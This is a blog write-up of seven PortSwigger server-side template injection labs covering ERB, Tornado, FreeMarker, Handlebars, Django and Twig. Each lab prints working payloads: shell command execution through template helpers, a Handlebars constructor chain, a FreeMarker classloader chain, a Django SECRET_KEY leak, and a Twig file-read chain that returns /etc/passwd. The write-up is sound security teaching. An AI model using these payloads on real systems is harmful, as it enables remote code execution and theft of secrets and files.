~ / blog / ssti-labs

PortSwigger SSTI Labs 1-7
Write-Up, Engine Fingerprinting & Custom Exploit Paths

A full SSTI walkthrough built around the exact solving path: syntax probes, stack-trace fingerprinting, documentation pivots, sandbox escapes, object abuse, and 22 screenshots from the steps that made each lab click.

What This Covers

The full seven-lab PortSwigger SSTI path, from basic arithmetic probes to FreeMarker classloader abuse and a Twig-based custom exploit chain that turns avatar handling into an arbitrary file read.

Target / Labs

PortSwigger Web Security Academy server-side template injection labs

Tools Used
Burp SuiteIntruderRepeaterTemplate errorsFramework docsBrowser
Key Takeaways
  • SSTI is usually won by identifying the engine first, not by guessing the final payload immediately.
  • Error messages, object graphs, helper utilities, and method signatures are often more valuable than a direct code-exec gadget.
  • Context matters: expression context, statement context, sandbox boundaries, and exposed objects all change what a valid exploit even looks like.
Labs covered 7
Screenshots included 22
Frameworks touched ERB / Tornado / FreeMarker / Handlebars / Django / Twig
Theme Fingerprint first, exploit second
// contents

This write-up is intentionally long. SSTI looks like "just another payload category" from far away, but in practice each lab becomes a framework-identification and object-model problem. The screenshots below are the exact checkpoints that made each jump reliable.

  1. Why the SSTI track feels different
  2. Lab 1 - ERB detection through the message parameter
  3. Lab 2 - Tornado code-context breakout in comment author display
  4. Lab 3 - FreeMarker documentation-led command execution
  5. Lab 4 - Handlebars fingerprinting and documented gadget abuse
  6. Lab 5 - Django sandbox disclosure with {% debug %}
  7. Lab 6 - FreeMarker object abuse to reach Execute
  8. Lab 7 - Twig custom exploit via avatar setter abuse
  9. Recap - The patterns that kept repeating
Labs 1-2 // syntax and context

The early labs are not about "getting code exec fast". They are about recognizing whether your input lands as plain text, inside an existing expression, or in a statement-capable zone. The difference between 49 and {{49}} changes everything.

Labs 3-4 // documentation wins

Once the engine is identified, official docs and public exploit write-ups become part of the attack surface. FreeMarker's Execute utility and the Handlebars constructor chain both come from reading how the engine actually behaves.

Labs 5-6 // sandboxes are still data sources

Even when a template language blocks the easy path to code execution, it may still expose configuration, object metadata, or Java internals that collapse the lab in a different way.

Lab 7 // custom exploit mindset

The last lab matters because there is no single copy-paste finish. You collect clues from upload behavior, method signatures, and read side-effects, then build a chain the application accidentally gives you.

Working method

My solving rhythm across the whole track was consistent: start with arithmetic probes, treat every verbose error like a fingerprint, map the object model before chasing RCE, and only use the destructive or final-read payload once the path is already proven.

01
Apprentice

ERB message injection: use Intruder to identify the delimiter, then pivot to shell backticks

Goal: Confirm server-side evaluation in the message parameter, identify the engine, and remove morale.txt.
Injection surface

The out-of-stock notice reflects a message query parameter back into the rendered page.

Winning clue

<%= 7 * 7 %> renders 49, which is a strong Ruby ERB signal.

Execution primitive

Ruby backticks execute a shell command and interpolate the output into the template result.

Finish

Swap the arithmetic probe for rm morale.txt once the ERB evaluation path is already proven.

This first lab is the cleanest example of why SSTI detection should start broad. I did not begin with a framework assumption. I started with a payload set that mixed different syntaxes, pushed them through Intruder, and watched for a response delta that looked like real server-side evaluation instead of harmless reflection.

The important part is not just that 49 appeared. It is that the rest of the response remained stable enough to treat the result as an evaluated expression inside the template rather than a parser crash. That turns the problem from "is this injectable?" into "which runtime rules am I standing inside?"

Burp sequence
  1. Send the request with the reflected message parameter to Intruder.
  2. Use a small cross-engine wordlist containing arithmetic and object-access probes.
  3. Sort by response length and inspect any candidates that create a visible number or framework-specific error.
  4. Once <%= 7 * 7 %> returns 49, move back to Repeater and keep the payload family consistent.
Burp Intruder attack against the message parameter showing multiple template probes and the ERB arithmetic payload returning 49.
Intruder narrows the field: several probes change the response, but <%= 7 * 7 %> cleanly produces 49, which is the fingerprint that matters.
Burp Repeater request with a URL-encoded ERB payload that runs rm morale.txt and a response showing the page still renders.
Once ERB is confirmed, the URL-encoded backtick payload <%= `rm morale.txt` %> becomes enough to solve the lab without needing any extra gadget.

Why the final payload works

In ERB, <%= ... %> evaluates Ruby and prints the return value into the template. Backticks inside Ruby spawn a shell command and return the command's stdout. For 7 * 7, that return value is 49. For rm morale.txt, there is no meaningful stdout, so the page still renders but the side effect happens server-side.

Final payload
<%= `rm morale.txt` %>
01
Takeaway
The first win in SSTI is not RCE. It is delimiter certainty. Once the engine syntax is real and repeatable, the payload space becomes much smaller and much more reliable.

02
Apprentice

Tornado code-context escape: break out of the surrounding expression before importing os

Goal: Turn a code-context injection in blog-post-author-display into command execution and remove morale.txt.
Injection surface

The author-display setting for blog comments is rendered server-side and then reflected back on the post page.

Winning clue

{{7*7}} does evaluate, but the page prints {{49}}, which means the payload is landing inside existing template syntax rather than as a fresh standalone block.

Execution primitive

Close the current expression with }}, inject a Tornado statement tag, then execute os.system().

Why the 0 matters

os.system() returns an integer status code. Seeing 0 in the rendered name is proof that the command ran successfully.

This lab is valuable because it teaches the difference between "template syntax works" and "my input is the whole template expression". The {{49}} output is not a failure. It is the exact clue that says the application is wrapping your input with its own braces or placing it inside an existing expression slot.

Once you notice that, the right move is to stop trying bigger arithmetic probes and instead escape the current context cleanly. That is why the payload begins with user.name}}: the first job is to end the expression the application already started for you.

1
Prove evaluation is happening

The arithmetic payload shows up as {{49}}. That tells us the engine is evaluating the inner math but we are still nested inside surrounding template markup.

2
Break out and validate command execution

Inject {% import os %} and call {{os.system('whoami')}}. The rendered author string now includes the original user name plus an exit code, proving that the statement executed.

3
Swap the command for the lab action

Replace whoami with rm morale.txt and resend. The redirect behavior stays the same because the endpoint still behaves like a settings update.

Burp Repeater request showing the blog-post-author-display parameter set to {{7*7}} and the rendered comment author appearing as {{49}}.
The weird-but-perfect clue: the page prints {{49}}, not just 49. That is the sign that the payload is executing inside an already-open template expression.
Burp Repeater request using user.name}}{% import os %}{{os.system('whoami')}} and the page showing the modified author name with a successful exit code.
Breaking out with user.name}} and importing os proves real execution. The trailing 0 comes from os.system() returning a successful exit code.
Burp Repeater request using the Tornado payload to run rm morale.txt and the browser showing the lab solved banner.
Same structure, different command: after whoami works, switching to rm morale.txt is enough to finish the lab.
Validation payload
user.name}}{% import os %}{{os.system('whoami')}}
Final payload
user.name}}{% import os %}{{os.system('rm morale.txt')}}
Why the output looks messy

The response is doing exactly what the template tells it to do: render the existing user.name, then your injected statement and expression, then whatever closing braces remain from the surrounding template. Messy output is still useful output.

02
Takeaway
Code context is its own problem. If the app already owns part of the template syntax around your input, the real exploit begins with escaping that structure cleanly, not with throwing larger payloads at it.

03
Practitioner

FreeMarker documentation path: trigger a template error, find Execute, then use it deliberately

Goal: Identify the template engine from its error page, validate the FreeMarker helper surface, and remove morale.txt.

This is the first lab where the framework tells on itself loudly enough that documentation becomes the main exploit path. An undefined variable reference in the template editor produces a full FreeMarker error page, including naming, formatting, and tips that are specific enough to eliminate most of the search space immediately.

After that, the solve is less about creativity and more about discipline: prove that the helper is available with a harmless command first, then switch to the destructive lab action once you know the primitive is real.

Template editor showing ${grnsjV.stock} and the resulting FreeMarker template error page.
The undefined-variable error is the fingerprint. The page explicitly says FreeMarker template error, so there is no reason to keep guessing engine syntax after this point.
Template editor using FreeMarker Execute to run ls and the preview output showing morale.txt in the response.
Before using a destructive command, I validate the primitive with ls. Seeing morale.txt echoed inline proves that Execute is available and command execution is already solved.
Engine fingerprint
${grnsjV.stock} left of ${product.name} at ${product.price}.</p>
Safe proof of execution
${"freemarker.template.utility.Execute"?new()("ls")} left of ${product.name} at ${product.price}.</p>
Solved lab banner after replacing the FreeMarker ls proof with rm morale.txt.
Once the harmless ls proof works, the final solve is just a command swap: rm morale.txt instead of enumeration.
Final payload
${"freemarker.template.utility.Execute"?new()("rm morale.txt")} left of ${product.name} at ${product.price}.</p>
Why this lab matters

The vulnerability is not just "FreeMarker exists". The vulnerability is that a dangerous helper object is reachable from user-controlled template content. Documentation is powerful here because the product already shipped the primitive for you.

03
Takeaway
Verbose errors are not noise. In SSTI they often collapse the hardest part of the problem by naming the engine, hinting at the syntax, and telling you exactly which documentation set to open in your head.

04
Practitioner

Unknown engine to Handlebars exploit: use stack traces as the fingerprint, then restore access to JavaScript's constructor

Goal: Identify the unknown engine, adapt a documented Handlebars gadget chain, and delete /home/carlos/morale.txt.

This lab starts exactly where a lot of real SSTI work starts: the syntax is unknown, the payloads are noisy, and the easy probes mostly trigger failures. That is not a dead end. In template injection, a failure that carries a stack trace is often better than a successful reflection.

Here, Intruder gave me the signal I needed. The response stack trace exposed Handlebars directly. Once that was visible, the problem changed from raw discovery to adapting a known exploitation pattern that regains access to JavaScript's Function constructor and from there to child_process.exec().

Burp Intruder results showing multiple payloads and a response stack trace that highlights Handlebars.
The unknown engine stops being unknown the moment the stack trace names Handlebars. That one line is more valuable than a hundred blind payload guesses.
Documentation-style validation payload
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
Burp Repeater request containing the long Handlebars constructor-chain payload and a rendered page response confirming the gadget path is executing.
The long payload looks ugly, but the reasoning is simple: rebuild access to a constructor, then use it to execute JavaScript that calls child_process.exec().
Solved lab page after switching the Handlebars payload command to rm /home/carlos/morale.txt.
After a validation command works, the solve is another command swap: use the same chain, replace whoami with rm /home/carlos/morale.txt.

Why this chain works at all

Handlebars tries to stay logic-light, which is why plain arithmetic or obvious method calls are not enough. The constructor chain matters because it rebuilds a path to native JavaScript execution from objects and helpers the template runtime still exposes. The payload is long because it is assembling capability out of constrained pieces, not because the exploit is fundamentally complicated.

Practical lesson

In unknown-engine SSTI, the best use of Burp Intruder is often not "find the final payload". It is "force the application to tell me which syntax family and runtime semantics I am dealing with."

04
Takeaway
Once a stack trace names the engine, the exploit problem becomes much smaller. Unknown-language SSTI often turns into a documentation-and-runtime problem long before it becomes a raw payload-invention problem.

05
Sandboxed

Django sandbox disclosure: use {% debug %} to map the context, then pull settings.SECRET_KEY

Goal: Recognize a sandboxed Django template surface and extract sensitive configuration instead of forcing RCE where the engine is trying to stop you.

This lab is the reminder that SSTI is not always about shell commands. Sometimes the framework sandboxes the dangerous primitives well enough that the better outcome is targeted disclosure. In Django, the {% debug %} tag becomes the crucial recon move because it spills the rendering context and tells you which objects are worth reaching for.

The context dump immediately exposes a settings object. Once that exists, the shortest path is no longer clever code execution. It is simply {{ settings.SECRET_KEY }}. In a real application, leaking that key can create downstream abuse opportunities far beyond the template itself.

Template preview showing {% debug %} and a huge context dump that includes product data and settings.
The debug tag is the pivot. It confirms a Django-style template surface and hands over the rendering context, including the settings object.
Template preview showing {{ settings.SECRET_KEY }} and the secret key printed in the page output.
Once settings is visible, the key disclosure is direct. No gadget chain is needed because the secret is already reachable from the template context.
Recon payload
{{product.stock}} left of {{product.name}} at {{product.price}}.</p>

{% debug %}
Disclosure payload
{{product.stock}} left of {{product.name}} at {{product.price}}.</p>

{{ settings.SECRET_KEY }}
Why this is still severe

A leaked framework secret is often enough to damage trust boundaries elsewhere: signed cookies, token generation, password reset mechanics, or any other feature that assumes the secret never leaves the server.

05
Takeaway
Sandboxed does not mean safe. If code execution is constrained, the next question should be what high-value data the sandbox still exposes through legitimate template features.

06
Practitioner

FreeMarker object abuse: pivot off product.class and use the classloader to recover Execute

Goal: Use a live application object to climb into Java internals and read my_password.txt.

This lab feels different from the earlier FreeMarker one because the exploit path is not just "use the documented helper directly". Here the core trick is that product is not a dead data blob. It is a live Java-backed object, which means template access to product.class opens a path into the underlying runtime.

The screenshots show the whole reasoning chain: trigger an undefined-variable error, confirm arithmetic evaluation with ${7*7}, verify that the missing user object can still be handled safely with a default, and then use the classloader reached through product.class.protectionDomain.classLoader to load the pieces needed for command execution.

FreeMarker template editor showing an undefined variable error for ${dfdfd.price}.
The error page confirms the engine. I deliberately start with a bogus object name so the template itself tells me what parser and error semantics I am dealing with.
FreeMarker template editor showing ${7*7} and the resulting 49 in the rendered output.
After the error, the arithmetic check gives a clean execution proof. At this stage we know both the engine and the expression syntax are solid.
Full exploit chain
${product.stock} left of ${product.name} at ${product.price}.</p>

${7*7}

${(user.name)!"Guest"}

<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat my_password.txt")}
FreeMarker template editor containing the classloader and ObjectWrapper chain, with the response showing 49, Guest, and the contents of my_password.txt.
This is the important screenshot for the whole lab: arithmetic still works, the missing user is handled with a default, and the classloader chain finally reveals the secret from my_password.txt.

Why the object pivot is the real vulnerability

The dangerous part is not just "FreeMarker exists". It is that the template can reach a real object graph with Java metadata attached. Once product.class is reachable, the exploit path starts looking less like templating and more like runtime reflection. That is why object exposure is such a recurring SSTI mistake: the template surface inherits capabilities from the object model underneath it.

Small but important detail

The ${(user.name)!"Guest"} check is not filler. It proves that the template can gracefully continue even when a variable is absent, which keeps the final exploit payload from failing early on missing data.

06
Takeaway
Exposed objects are capabilities. If a template can walk from business objects into language or runtime metadata, the distinction between "data access" and "code access" starts collapsing very quickly.

07
Custom exploit

Twig method abuse: turn the exposed user object and avatar handler into an arbitrary file read chain

Goal: Use template-exposed object methods, upload behavior, and avatar retrieval to build a custom exploit instead of relying on a stock RCE gadget.

This was the most satisfying lab in the set because the path is assembled from clues rather than one obvious payload. The application leaks just enough about avatar handling, method signatures, and file serving that the template injection becomes a way to repoint the user's avatar at arbitrary filesystem paths.

The solving path is worth studying because it mirrors real exploit development much more than the earlier documentation-driven labs do. Each screenshot below removes one uncertainty: first the upload path and MIME validation behavior, then the method signature, then the fact that the avatar endpoint will happily stream arbitrary file contents back as image/unknown.

1
Start with the upload feature, not the template

Uploading a plain-text file as an avatar throws a verbose PHP error that leaks User.php, setAvatar(), the temporary path, and the MIME requirement. That is a recon jackpot.

2
Probe method invocation through the template

Calling user.setAvatar('/home/carlos/User.php') fails, but the failure is perfect: Twig tells us the method exists and expects exactly two arguments.

3
Supply the missing MIME argument and repoint the avatar

Adding 'image/png' completes the method call. From there, the avatar retrieval endpoint becomes the read primitive.

4
Use unmistakable files as validation targets

/etc/passwd is the perfect canary. If the avatar endpoint streams it back, the exploit is proven beyond doubt before moving on to more application-specific files.

Avatar upload with a text file causing a PHP fatal error that reveals the MIME check and references User.php.
The upload error gives away three critical facts at once: the backend is PHP, avatars go through User.php, and setAvatar() cares about MIME strings.
Twig template injection causing an internal server error that says User::setAvatar expects exactly two arguments.
This is the signature leak that unlocks the chain. The failed method call tells us exactly how to call setAvatar() correctly next time.
Method-signature probe
user.setAvatar('/home/carlos/User.php')
Burp Repeater request using user.setAvatar('/home/carlos/User.php','image/png') in the blog-post-author-display parameter and the blog page reflecting previous test payloads.
With the second argument added, the method call becomes structurally valid. The page is messy because earlier probes are still reflected, but the important part is that Twig accepts the call.
Working setter payload
user.setAvatar('/home/carlos/User.php','image/png')
GET request to the avatar endpoint returning the contents of /etc/passwd as image/unknown.
The canary read: when the avatar endpoint returns /etc/passwd as image/unknown, the arbitrary file read is fully confirmed.
GET request to the avatar endpoint returning a short 'Nothing to see here :)' response.
This failed candidate is useful too. It proves the exploit path is sensitive to the chosen file and keeps the next read grounded in real validation instead of assumption.
Avatar endpoint response returning the source code of User.php.
The final read surfaces User.php source through the avatar endpoint, which is exactly the kind of custom exploit finish this lab is designed to teach.

Why this chain is more interesting than a one-shot gadget

The exploit is not "Twig gives RCE by default". The exploit is that a template-exposed object lets us call a state-changing method, and the method writes avatar metadata that another endpoint later trusts when serving files. In other words, the template injection is only one part of the bug. The full break requires understanding how two application features compose badly together.

The real lesson

Custom exploit paths often come from business logic, not just framework magic. If an exposed object has methods that mutate file paths, profile data, permissions, or rendering state, template injection can become the trigger that repoints the application at sensitive resources.

07
Takeaway
The best custom exploits are built from honest clues: feature behavior, method arity, path leaks, and side effects you can validate one step at a time. This lab rewards patient chaining more than flashy payloads.

R
Recap

What the SSTI track really drills into you

Goal: Stop thinking of SSTI as a single payload class and start treating it as framework reconnaissance plus capability mapping.

The biggest shift across these labs is mental, not syntactic. Early on, it is tempting to see SSTI as a version of XSS with stranger delimiters. The labs break that habit quickly. What actually matters is which engine is present, where your input lands in template context, which helpers are reachable, what objects are exposed, and how much of the underlying runtime leaks through those objects.

That is why I wanted the screenshots in this write-up instead of a cleaned-up payload list alone. The screenshots preserve the path from clue to confidence: 49 in the right place, an error page that says FreeMarker, a stack trace that says Handlebars, a debug dump that exposes settings, and an avatar endpoint that should never have been a file reader in the first place.

Fingerprint first

Arithmetic probes, malformed variables, and verbose errors do more work in SSTI than in most other web bug classes because they narrow the runtime immediately.

Context beats syntax

The difference between text context, expression context, and statement context decides whether a payload works, even when the engine syntax is already known.

Objects are attack surface

Live objects, methods, class metadata, and helper utilities often matter more than raw template evaluation alone. Business objects can become capability leaks.

Sandboxes still leak value

If a sandbox blocks easy code exec, pivot to configuration secrets, framework internals, or application state that the template can still reach legitimately.

Where this helps next

The same habit transfers cleanly into SSTI-adjacent bugs and modern server-side features: map the parser, map the object model, then ask what the application still lets your input influence after it crosses the trust boundary.

Move through the archive

Browse all posts
Older post PortSwigger JWT Labs Write-Up 2026-06-07 . ~50 min read

Related posts

More write-ups that overlap on Burp workflow, PortSwigger training targets, and the habit of proving each step before automating anything.

← Back to blog